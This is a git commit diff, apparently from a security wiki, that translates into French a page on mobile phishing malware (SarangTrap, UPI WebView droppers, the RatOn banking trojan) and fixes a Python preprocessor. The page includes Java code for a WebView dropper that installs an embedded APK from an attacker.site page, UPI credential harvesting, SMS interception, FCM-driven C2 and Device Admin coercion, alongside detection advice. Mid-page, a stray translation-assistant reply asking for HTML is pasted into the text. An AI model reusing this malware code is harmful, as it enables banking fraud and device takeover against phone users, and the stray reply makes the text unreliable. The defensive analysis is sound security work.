Translated ['src/generic-methodologies-and-resources/phishing-methodolog

2025-10-10 18:36:50 +00:00 · 2025-09-29 11:09:55 +00:00 · 2025-09-29 11:09:55 +00:00 · f8684f96cf
commit f8684f96cf
parent 36e563ee73
4 changed files with 394 additions and 139 deletions
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
 logger.addHandler(handler2)


-def findtitle(search ,obj, key, path=(),):
+def findtitle(search, obj, key, path=()):
    # logger.debug(f"Looking for {search} in {path}")
    if isinstance(obj, dict) and key in obj and obj[key] == search: 
        return obj, path
@ -54,26 +54,42 @@ def ref(matchobj):
            if href.endswith("/"):
                href = href+"README.md" # Fix if ref points to a folder
            if "#" in  href:
-                chapter, _path = findtitle(href.split("#")[0], book, "source_path")
-                title = " ".join(href.split("#")[1].split("-")).title()
-                logger.debug(f'Ref has # using title: {title}')
+                result = findtitle(href.split("#")[0], book, "source_path")
+                if result is not None:
+                    chapter, _path = result
+                    title = " ".join(href.split("#")[1].split("-")).title()
+                    logger.debug(f'Ref has # using title: {title}')
+                else:
+                    raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
            else:
-                chapter, _path = findtitle(href, book, "source_path")
-                logger.debug(f'Recursive title search result: {chapter["name"]}')
-                title = chapter['name']
+                result = findtitle(href, book, "source_path")
+                if result is not None:
+                    chapter, _path = result
+                    logger.debug(f'Recursive title search result: {chapter["name"]}')
+                    title = chapter['name']
+                else:
+                    raise Exception(f"Chapter not found for path: {href}")
        except Exception as e:
            dir = path.dirname(current_chapter['source_path'])
            rel_path = path.normpath(path.join(dir,href))
            try:
                logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
                if "#" in  href:
-                    chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
-                    title = " ".join(href.split("#")[1].split("-")).title()
-                    logger.debug(f'Ref has # using title: {title}')
+                    result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
+                    if result is not None:
+                        chapter, _path = result
+                        title = " ".join(href.split("#")[1].split("-")).title()
+                        logger.debug(f'Ref has # using title: {title}')
+                    else:
+                        raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
                else:
-                    chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
-                    title = chapter["name"]
-                    logger.debug(f'Recursive title search result: {chapter["name"]}')
+                    result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
+                    if result is not None:
+                        chapter, _path = result
+                        title = chapter["name"]
+                        logger.debug(f'Recursive title search result: {chapter["name"]}')
+                    else:
+                        raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
            except Exception as e:
                logger.debug(e)
                logger.error(f'Error getting chapter title: {rel_path}')
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -768,7 +768,7 @@
    - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
  - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
  - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
+- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
  - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
  - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
  - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -837,8 +837,9 @@
  - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
  - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
+- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting.md)

 # 🤖 AI
 - [AI Security](AI/README.md)
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@ -1,67 +1,67 @@
-# Phishing Mobile & Distribution d'Applications Malveillantes (Android & iOS)
+# Phishing mobile & distribution d'applications malveillantes (Android & iOS)

 {{#include ../../banners/hacktricks-training.md}}

 > [!INFO]
-> Cette page couvre les techniques utilisées par les acteurs de la menace pour distribuer des **APK Android malveillants** et des **profils de configuration mobile iOS** via le phishing (SEO, ingénierie sociale, faux magasins, applications de rencontre, etc.).
-> Le matériel est adapté de la campagne SarangTrap exposée par Zimperium zLabs (2025) et d'autres recherches publiques.
+> Cette page couvre les techniques utilisées par des acteurs malveillants pour distribuer **malicious Android APKs** et **iOS mobile-configuration profiles** via phishing (SEO, social engineering, fausses boutiques, applications de rencontre, etc.).
+> Le contenu est adapté de la campagne SarangTrap exposée par Zimperium zLabs (2025) et d'autres recherches publiques.

-## Flux d'Attaque
+## Flux d'attaque

-1. **Infrastructure SEO/Phishing**
-* Enregistrer des dizaines de domaines similaires (rencontre, partage de cloud, service de voiture…).
-– Utiliser des mots-clés et des emojis en langue locale dans l'élément `<title>` pour se classer sur Google.
-– Héberger *à la fois* les instructions d'installation Android (`.apk`) et iOS sur la même page d'atterrissage.
-2. **Téléchargement de Première Étape**
-* Android : lien direct vers un APK *non signé* ou “magasin tiers”.
-* iOS : `itms-services://` ou lien HTTPS simple vers un profil **mobileconfig** malveillant (voir ci-dessous).
-3. **Ingénierie Sociale Post-Installation**
-* Au premier lancement, l'application demande un **code d'invitation / de vérification** (illusion d'accès exclusif).
-* Le code est **POSTé en HTTP** vers le Command-and-Control (C2).
-* C2 répond `{"success":true}` ➜ le malware continue.
-* L'analyse dynamique Sandbox / AV qui ne soumet jamais un code valide ne voit **aucun comportement malveillant** (évasion).
-4. **Abus de Permissions d'Exécution** (Android)
-* Les permissions dangereuses ne sont demandées **qu'après une réponse positive du C2** :
+1. **Infrastructure SEO / Phishing**
+* Enregistrer des dizaines de domaines ressemblants (dating, cloud share, car service…).
+– Utiliser des mots-clés en langue locale et des emojis dans l'élément `<title>` pour améliorer le ranking sur Google.
+– Héberger *à la fois* les instructions d'installation Android (`.apk`) et iOS sur la même page de destination.
+2. **Téléchargement — première étape**
+* Android : lien direct vers un APK *non signé* ou d'un “third-party store”.
+* iOS : `itms-services://` ou lien HTTPS simple vers un **mobileconfig** malveillant (voir ci‑dessous).
+3. **Ingénierie sociale post-installation**
+* Au premier lancement, l'app demande un **code d'invitation / de vérification** (illusion d'accès exclusif).
+* Le code est **POSTé en clair HTTP** vers le Command-and-Control (C2).
+* Le C2 répond `{"success":true}` ➜ le malware poursuit son exécution.
+* L'analyse dynamique sandbox / AV qui ne soumet jamais un code valide ne voit **aucun comportement malveillant** (évasion).
+4. **Abus des permissions à l'exécution (Android)**
+* Les permissions dangereuses ne sont demandées **qu'après réponse positive du C2** :
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-<!-- Les anciennes versions demandaient également des permissions SMS -->
+<!-- Older builds also asked for SMS permissions -->
 ```
-* Les variantes récentes **suppriment `<uses-permission>` pour SMS de `AndroidManifest.xml`** mais laissent le chemin de code Java/Kotlin qui lit les SMS par réflexion ⇒ abaisse le score statique tout en restant fonctionnel sur les appareils qui accordent la permission via l'abus de `AppOps` ou d'anciens cibles.
-5. **Interface Facade & Collecte en Arrière-plan**
-* L'application montre des vues inoffensives (visualiseur de SMS, sélecteur de galerie) implémentées localement.
-* Pendant ce temps, elle exfiltre :
+* Les variantes récentes **suppriment `<uses-permission>` pour SMS dans `AndroidManifest.xml`** mais laissent le chemin Java/Kotlin qui lit les SMS via reflection ⇒ baisse le score statique tout en restant fonctionnel sur des appareils où la permission est accordée via un abus d'`AppOps` ou sur d'anciens targets.
+5. **Interface façade & collecte en arrière-plan**
+* L'app affiche des vues inoffensives (visionneuse SMS, sélecteur de galerie) implémentées localement.
+* Pendant ce temps elle exfiltre :
 - IMEI / IMSI, numéro de téléphone
 - Dump complet de `ContactsContract` (tableau JSON)
- JPEG/PNG de `/sdcard/DCIM` compressé avec [Luban](https://github.com/Curzibn/Luban) pour réduire la taille
+- JPEG/PNG depuis `/sdcard/DCIM` compressés avec [Luban](https://github.com/Curzibn/Luban) pour réduire la taille
 - Contenu SMS optionnel (`content://sms`)
-Les charges utiles sont **compressées par lots** et envoyées via `HTTP POST /upload.php`.
-6. **Technique de Livraison iOS**
-* Un seul **profil de configuration mobile** peut demander `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration`, etc. pour inscrire l'appareil dans une supervision de type “MDM”.
+Les payloads sont archivés par lot (zip) et envoyés via `HTTP POST /upload.php`.
+6. **Technique de livraison iOS**
+* Un seul **mobile-configuration profile** peut demander `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. pour inscrire l'appareil dans une supervision de type “MDM”.
 * Instructions d'ingénierie sociale :
-1. Ouvrir Réglages ➜ *Profil téléchargé*.
-2. Appuyer sur *Installer* trois fois (captures d'écran sur la page de phishing).
-3. Faire confiance au profil non signé ➜ l'attaquant obtient les droits *Contacts* & *Photo* sans révision de l'App Store.
-7. **Couche Réseau**
-* HTTP simple, souvent sur le port 80 avec un en-tête HOST comme `api.<phishingdomain>.com`.
+1. Ouvrir Réglages ➜ *Profile downloaded*.
+2. Taper *Install* trois fois (captures d'écran sur la page de phishing).
+3. Faire confiance au profile non signé ➜ l'attaquant obtient les droits *Contacts* & *Photo* sans revue App Store.
+7. **Couche réseau**
+* HTTP en clair, souvent sur le port 80 avec un header HOST du type `api.<phishingdomain>.com`.
 * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (pas de TLS → facile à repérer).

-## Tests Défensifs / Conseils pour Équipe Rouge
+## Tests défensifs / Conseils Red-Team

-* **Bypass d'Analyse Dynamique** – Lors de l'évaluation du malware, automatisez la phase de code d'invitation avec Frida/Objection pour atteindre la branche malveillante.
-* **Différence Manifest vs. Runtime** – Comparez `aapt dump permissions` avec `PackageManager#getRequestedPermissions()` à l'exécution ; l'absence de permissions dangereuses est un signal d'alarme.
-* **Canari Réseau** – Configurez `iptables -p tcp --dport 80 -j NFQUEUE` pour détecter des pics de POST non solides après la saisie du code.
-* **Inspection de mobileconfig** – Utilisez `security cms -D -i profile.mobileconfig` sur macOS pour lister `PayloadContent` et repérer des droits excessifs.
+* **Bypass d'analyse dynamique** – Pendant l'évaluation du malware, automatiser la phase du code d'invitation avec Frida/Objection pour atteindre la branche malveillante.
+* **Diff Manifest vs. Runtime** – Comparer `aapt dump permissions` avec le résultat runtime de `PackageManager#getRequestedPermissions()` ; l'absence de permissions dangereuses est un signal d'alerte.
+* **Canari réseau** – Configurer `iptables -p tcp --dport 80 -j NFQUEUE` pour détecter des rafales de POST suspects après saisie du code.
+* **Inspection mobileconfig** – Utiliser `security cms -D -i profile.mobileconfig` sur macOS pour lister `PayloadContent` et repérer des entitlements excessifs.

-## Idées de Détection pour Équipe Bleue
+## Idées de détection Blue-Team

-* **Transparence des Certificats / Analytique DNS** pour attraper des pics soudains de domaines riches en mots-clés.
-* **User-Agent & Regex de Chemin** : `(?i)POST\s+/(check|upload)\.php` des clients Dalvik en dehors de Google Play.
-* **Télémetrie de Code d'Invitation** – POST de codes numériques de 6 à 8 chiffres peu après l'installation de l'APK peut indiquer une mise en scène.
-* **Signature de MobileConfig** – Bloquez les profils de configuration non signés via la politique MDM.
+* **Certificate Transparency / DNS Analytics** pour repérer des flambées soudaines de domaines riches en mots-clés.
+* **User-Agent & Path Regex** : `(?i)POST\s+/(check|upload)\.php` provenant de clients Dalvik hors Google Play.
+* **Télémétrie du code d'invitation** – Des POST de codes numériques de 6–8 chiffres peu après l'installation d'un APK peuvent indiquer une phase de staging.
+* **Signature MobileConfig** – Bloquer les profils de configuration non signés via une politique MDM.

-## Extrait Frida Utile : Bypass Automatique du Code d'Invitation
+## Extrait Frida utile : contournement automatique du code d'invitation
 ```python
 # frida -U -f com.badapp.android -l bypass.js --no-pause
 # Hook HttpURLConnection write to always return success
@ -80,7 +80,7 @@ return conn;
 };
 });
 ```
-## Indicateurs (Généraux)
+## Indicateurs (Générique)
 ```
 /req/checkCode.php        # invite code validation
 /upload.php               # batched ZIP exfiltration
@ -90,26 +90,26 @@ LubanCompress 1.1.8       # "Luban" string inside classes.dex

 ## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern

-Ce modèle a été observé dans des campagnes abusant de thèmes liés aux aides gouvernementales pour voler des identifiants UPI indiens et des OTP. Les opérateurs enchaînent des plateformes réputées pour la livraison et la résilience.
+This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.

-### Chaîne de livraison à travers des plateformes de confiance
- Appât vidéo YouTube → la description contient un lien court
- Lien court → site de phishing GitHub Pages imitant le portail légitime
- Le même dépôt GitHub héberge un APK avec un faux badge “Google Play” liant directement au fichier
- Des pages de phishing dynamiques vivent sur Replit ; le canal de commande à distance utilise Firebase Cloud Messaging (FCM)
+### Chaîne de diffusion via des plateformes de confiance
+- YouTube video lure → la description contient un lien court
+- Shortlink → site de phishing GitHub Pages imitant le portail légitime
+- Le même repo GitHub héberge un APK avec un faux badge “Google Play” pointant directement vers le fichier
+- Pages de phishing dynamiques hébergées sur Replit ; canal de commande à distance utilisant Firebase Cloud Messaging (FCM)

-### Dropper avec charge utile intégrée et installation hors ligne
- Le premier APK est un installateur (dropper) qui expédie le véritable malware à `assets/app.apk` et invite l'utilisateur à désactiver le Wi‑Fi/données mobiles pour atténuer la détection dans le cloud.
- La charge utile intégrée s'installe sous une étiquette inoffensive (par exemple, “Mise à jour sécurisée”). Après l'installation, l'installateur et la charge utile sont présents en tant qu'applications séparées.
+### Dropper with embedded payload and offline install
+- Le premier APK est un installateur (dropper) qui contient le vrai malware à `assets/app.apk` et incite l'utilisateur à désactiver le Wi‑Fi/données mobiles pour atténuer la détection dans le cloud.
+- Le payload embarqué s'installe sous une étiquette anodine (par ex., “Secure Update”). Après l'installation, l'installateur et le payload sont présents en tant qu'apps séparées.

-Astuce de triage statique (grep pour les charges utiles intégrées) :
+Static triage tip (grep for embedded payloads):
 ```bash
 unzip -l sample.apk | grep -i "assets/app.apk"
 # Or:
 zipgrep -i "classes|.apk" sample.apk | head
 ```
-### Découverte dynamique des points de terminaison via un lien court
- Le malware récupère une liste de points de terminaison actifs au format texte brut, séparée par des virgules, à partir d'un lien court ; des transformations de chaîne simples produisent le chemin final de la page de phishing.
+### Découverte dynamique des endpoints via shortlink
+- Malware récupère depuis un shortlink une liste en texte brut, séparée par des virgules, d'endpoints actifs ; de simples transformations de chaînes produisent le chemin final de la page de phishing.

 Exemple (sanitisé) :
 ```
@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
 UPI credential POST: https://sqcepo.replit.app/addup.php
 SMS upload:           https://sqcepo.replit.app/addsm.php
 ```
-Pseudo-code:
+Pseudo-code :
 ```java
 String csv = httpGet(shortlink);
 String[] parts = csv.split(",");
@ -127,25 +127,25 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
 String smsPost = parts[1];
 String credsPost = upiPage.replace("gate.htm", "addup.php");
 ```
-### Collecte de données d'identification UPI basée sur WebView
- L'étape “Effectuer un paiement de ₹1 / UPI‑Lite” charge un formulaire HTML de l'attaquant à partir du point de terminaison dynamique à l'intérieur d'un WebView et capture des champs sensibles (téléphone, banque, PIN UPI) qui sont `POST`és à `addup.php`.
+### Collecte d'identifiants UPI basée sur WebView
+- L'étape “Effectuer un paiement de ₹1 / UPI‑Lite” charge un formulaire HTML malveillant depuis l'endpoint dynamique à l'intérieur d'une WebView et capture les champs sensibles (téléphone, banque, PIN UPI) qui sont envoyés en `POST` vers `addup.php`.

-Loader minimal :
+Chargeur minimal :
 ```java
 WebView wv = findViewById(R.id.web);
 wv.getSettings().setJavaScriptEnabled(true);
 wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
 ```
-### Auto-propagation et interception de SMS/OTP
- Des autorisations agressives sont demandées au premier lancement :
+### Auto-propagation et interception des SMS/OTP
+- Des autorisations agressives sont demandées au premier lancement:
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.SEND_SMS"/>
 <uses-permission android:name="android.permission.READ_SMS"/>
 <uses-permission android:name="android.permission.CALL_PHONE"/>
 ```
- Les contacts sont utilisés pour envoyer en masse des SMS de smishing depuis l'appareil de la victime.
- Les SMS entrants sont interceptés par un récepteur de diffusion et téléchargés avec des métadonnées (expéditeur, corps, emplacement de la SIM, ID aléatoire par appareil) vers `/addsm.php`.
+- Les contacts sont parcourus en boucle pour envoyer massivement des smishing SMS depuis l'appareil de la victime.
+- Les SMS entrants sont interceptés par un broadcast receiver et téléversés avec des métadonnées (sender, body, SIM slot, per-device random ID) vers `/addsm.php`.

 Receiver sketch:
 ```java
@ -162,9 +162,9 @@ postForm(urlAddSms, new FormBody.Builder()
 }
 ```
 ### Firebase Cloud Messaging (FCM) comme C2 résilient
- Le payload s'enregistre auprès de FCM ; les messages push contiennent un champ `_type` utilisé comme un interrupteur pour déclencher des actions (par exemple, mettre à jour les modèles de texte de phishing, basculer les comportements).
+- Le payload s'enregistre auprès de FCM ; les messages push contiennent un champ `_type` utilisé comme commutateur pour déclencher des actions (p. ex., mettre à jour les templates de texte de phishing, activer/désactiver des comportements).

-Exemple de payload FCM :
+Exemple de payload FCM:
 ```json
 {
 "to": "<device_fcm_token>",
@ -174,7 +174,7 @@ Exemple de payload FCM :
 }
 }
 ```
-Esquisse du gestionnaire :
+Esquisse du handler:
 ```java
@Override
 public void onMessageReceived(RemoteMessage msg){
@ -186,27 +186,179 @@ case "smish": sendSmishToContacts(); break;
 }
 }
 ```
-### Hunting patterns and IOCs
- APK contient un payload secondaire à `assets/app.apk`
- WebView charge le paiement depuis `gate.htm` et exfiltre vers `/addup.php`
- Exfiltration SMS vers `/addsm.php`
- Récupération de configuration via des liens courts (par exemple, `rebrand.ly/*`) retournant des points de terminaison CSV
- Applications étiquetées comme “Mise à jour/Sécuriser la mise à jour”
- Messages `data` FCM avec un discriminateur `_type` dans des applications non fiables
+### Schémas de chasse et IOCs
+- L'APK contient un payload secondaire dans `assets/app.apk`
+- WebView charge un paiement depuis `gate.htm` et exfiltrates vers `/addup.php`
+- Exfiltration de SMS vers `/addsm.php`
+- Récupération de config via shortlink (p.ex., `rebrand.ly/*`) retournant des endpoints CSV
+- Apps étiquetées comme génériques «Update/Secure Update»
+- Messages FCM `data` avec un discriminateur `_type` dans des apps non fiables

-### Detection & defence ideas
- Marquer les applications qui demandent aux utilisateurs de désactiver le réseau pendant l'installation puis chargent un second APK depuis `assets/`.
- Alerter sur le tuple de permission : `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flux de paiement basés sur WebView.
- Surveillance des sorties pour `POST /addup.php|/addsm.php` sur des hôtes non corporatifs ; bloquer l'infrastructure connue.
- Règles EDR mobiles : application non fiable s'enregistrant pour FCM et se ramifiant sur un champ `_type`.
+### Idées de détection et défense
+- Signaler les apps qui demandent aux utilisateurs de désactiver le réseau pendant l'installation, puis effectuent un side-load d'un second APK depuis `assets/`.
+- Alerter sur le tuple de permissions : `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flux de paiement basés sur WebView.
+- Surveillance de l'egress pour `POST /addup.php|/addsm.php` sur des hôtes non-corporate ; bloquer l'infrastructure connue.
+- Règles Mobile EDR : app non fiable enregistrée pour FCM et faisant des branches sur le champ `_type`.

 ---

-## References
+## Abus Android Accessibility/Overlay & Device Admin, automatisation ATS et orchestration de relay NFC – étude de cas RatOn
+
+La campagne RatOn banker/RAT (ThreatFabric) est un exemple concret de la façon dont les opérations modernes de phishing mobile combinent WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, et même l'orchestration de NFC-relay. Cette section abstrait les techniques réutilisables.
+
+### Stage-1: WebView → native install bridge (dropper)
+Les attaquants présentent un WebView pointant vers une page d'attaquant et injectent une interface JavaScript qui expose un installateur natif. Un tap sur un bouton HTML appelle du code natif qui installe un APK de seconde étape inclus dans les assets du dropper puis le lance directement.
+
+Schéma minimal:
+```java
+public class DropperActivity extends Activity {
+@Override protected void onCreate(Bundle b){
+super.onCreate(b);
+WebView wv = new WebView(this);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.addJavascriptInterface(new Object(){
+@android.webkit.JavascriptInterface
+public void installApk(){
+try {
+PackageInstaller pi = getPackageManager().getPackageInstaller();
+PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+int id = pi.createSession(p);
+try (PackageInstaller.Session s = pi.openSession(id);
+InputStream in = getAssets().open("payload.apk");
+OutputStream out = s.openWrite("base.apk", 0, -1)){
+byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
+}
+PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+pi.commit(id, status.getIntentSender());
+} catch (Exception e) { /* log */ }
+}
+}, "bridge");
+setContentView(wv);
+wv.loadUrl("https://attacker.site/install.html");
+}
+}
+```
+Je n’ai reçu aucun HTML à traduire. Peux-tu coller ici le contenu HTML (ou le fichier) que tu veux que je traduise en français ?
+
+Rappel des règles que je suivrai : je ne traduis pas le code, les noms de techniques, les balises markdown/html, les liens, les chemins, ni les mots comme leak, pentesting, ni les noms de plateformes cloud/SaaS.
+```html
+<button onclick="bridge.installApk()">Install</button>
+```
+Après l'installation, le dropper démarre le payload via un package/activity explicite :
+```java
+Intent i = new Intent();
+i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
+startActivity(i);
+```
+Hunting idea : des applications non fiables appelant `addJavascriptInterface()` et exposant des méthodes de type installer au WebView ; APK livrant une charge secondaire embarquée sous `assets/` et invoquant la Package Installer Session API.
+
+### Entonnoir de consentement : Accessibility + Device Admin + demandes runtime subséquentes
+Stage-2 ouvre un WebView qui héberge une page “Access”. Son bouton invoque une méthode exportée qui dirige la victime vers les paramètres Accessibility et demande l'activation du service rogue. Une fois accordé, malware utilise Accessibility pour cliquer automatiquement à travers les boîtes de dialogue de permissions runtime suivantes (contacts, overlay, manage system settings, etc.) et demande Device Admin.
+
+- Accessibility permet, de manière programmatique, d'accepter les invites ultérieures en trouvant des boutons comme “Allow”/“OK” dans l'arbre de nœuds (node-tree) et en déclenchant des clics.
+- Vérification/demande de la permission Overlay :
+```java
+if (!Settings.canDrawOverlays(ctx)) {
+Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
+Uri.parse("package:" + ctx.getPackageName()));
+ctx.startActivity(i);
+}
+```
+Voir aussi :
+
+{{#ref}}
+../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+{{#endref}}
+
+### Overlay phishing/ransom via WebView
+Les opérateurs peuvent émettre des commandes pour :
+- rendre une superposition plein écran à partir d'une URL, ou
+- transmettre du HTML inline chargé dans une superposition WebView.
+
+Usages probables : coercition (saisie de PIN), ouverture de wallet pour capturer les PIN, messages d'extorsion. Garder une commande pour s'assurer que la permission d'overlay est accordée si elle manque.
+
+### Remote control model – text pseudo-screen + screen-cast
+- Bande passante faible : exporter périodiquement l'Accessibility node tree, sérialiser les textes/rôles/bornes visibles et les envoyer au C2 comme pseudo-écran (commandes comme `txt_screen` une fois et `screen_live` en continu).
+- Haute fidélité : demander MediaProjection et démarrer le screen-casting/enregistrement à la demande (commandes comme `display` / `record`).
+
+### ATS playbook (bank app automation)
+Étant donné une tâche JSON, ouvrir l'application bancaire, piloter l'UI via Accessibility avec un mélange de requêtes textuelles et de taps par coordonnées, et saisir le PIN de paiement de la victime lorsque demandé.
+
+Exemple de tâche :
+```json
+{
+"cmd": "transfer",
+"receiver_address": "ACME s.r.o.",
+"account": "123456789/0100",
+"amount": "24500.00",
+"name": "ACME"
+}
+```
+Exemples de textes vus dans un flux cible (CZ → EN):
+- "Nová platba" → "Nouveau paiement"
+- "Zadat platbu" → "Saisir le paiement"
+- "Nový příjemce" → "Nouveau bénéficiaire"
+- "Domácí číslo účtu" → "Numéro de compte national"
+- "Další" → "Suivant"
+- "Odeslat" → "Envoyer"
+- "Ano, pokračovat" → "Oui, continuer"
+- "Zaplatit" → "Payer"
+- "Hotovo" → "Terminé"
+
+Les opérateurs peuvent aussi vérifier/augmenter les limites de transfert via des commandes comme `check_limit` et `limit` qui naviguent de façon similaire dans l'interface des limites.
+
+### Crypto wallet seed extraction
+Cibles comme MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow : déverrouiller (PIN volé ou mot de passe fourni), naviguer vers Security/Recovery, révéler/afficher la phrase de récupération, keylog/exfiltrate it. Implémentez des sélecteurs sensibles à la locale (EN/RU/CZ/SK) pour stabiliser la navigation entre les langues.
+
+### Device Admin coercion
+Les Device Admin APIs sont utilisées pour augmenter les opportunités de capture du PIN et frustrer la victime :
+
+- Verrouillage immédiat:
+```java
+dpm.lockNow();
+```
+- Faire expirer les identifiants actuels pour forcer le changement (Accessibility capture le nouveau PIN/password):
+```java
+dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
+```
+- Forcer le déverrouillage non biométrique en désactivant les fonctionnalités biométriques du keyguard:
+```java
+dpm.setKeyguardDisabledFeatures(admin,
+DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
+```
+Remarque : De nombreux contrôles de DevicePolicyManager nécessitent Device Owner/Profile Owner sur les versions récentes d'Android ; certaines builds OEM peuvent être plus laxistes. Validez toujours sur l'OS/OEM cible.
+
+### Orchestration de relais NFC (NFSkate)
+Stage-3 peut installer et lancer un module NFC-relay externe (par ex., NFSkate) et lui fournir même un template HTML pour guider la victime pendant le relais. Cela permet des cash-outs sans contact en présence de la carte (card-present) parallèlement à des ATS en ligne.
+
+Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
+
+### Jeu de commandes opérateur (exemple)
+- UI/état: `txt_screen`, `screen_live`, `display`, `record`
+- Social: `send_push`, `Facebook`, `WhatsApp`
+- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
+- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
+- ATS: `transfer`, `check_limit`, `limit`
+- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
+- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
+- NFC: `nfs`, `nfs_inject`
+
+### Idées de détection et de défense (style RatOn)
+- Rechercher les WebViews utilisant `addJavascriptInterface()` qui exposent des méthodes d'installer/de permission ; les pages se terminant par “/access” qui déclenchent des invites Accessibility.
+- Alerter sur les apps qui génèrent des gestes/clics Accessibility à haut débit peu après l'octroi de l'accès au service ; ou une télémétrie ressemblant à des dumps de nœuds Accessibility envoyés au C2.
+- Surveiller les modifications de policy Device Admin dans les apps non fiables : `lockNow`, expiration de mot de passe, basculement des fonctionnalités du keyguard.
+- Alerter sur les invites MediaProjection provenant d'apps non-corporate suivies d'uploads périodiques de frames.
+- Détecter l'installation/le lancement d'une app NFC-relay externe déclenchée par une autre app.
+- Pour le secteur bancaire : imposer des confirmations out-of-band, le liage biométrique et des limites de transaction résistantes à l'automatisation on-device.
+
+## Références

 - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
 - [Luban – Android image compression library](https://github.com/Curzibn/Luban)
 - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
 - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
+- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
@ -1,24 +1,24 @@
-# Abus des services d'accessibilité Android
+# Abus du service d'accessibilité Android

 {{#include ../../banners/hacktricks-training.md}}

-## Aperçu
+## Vue d'ensemble

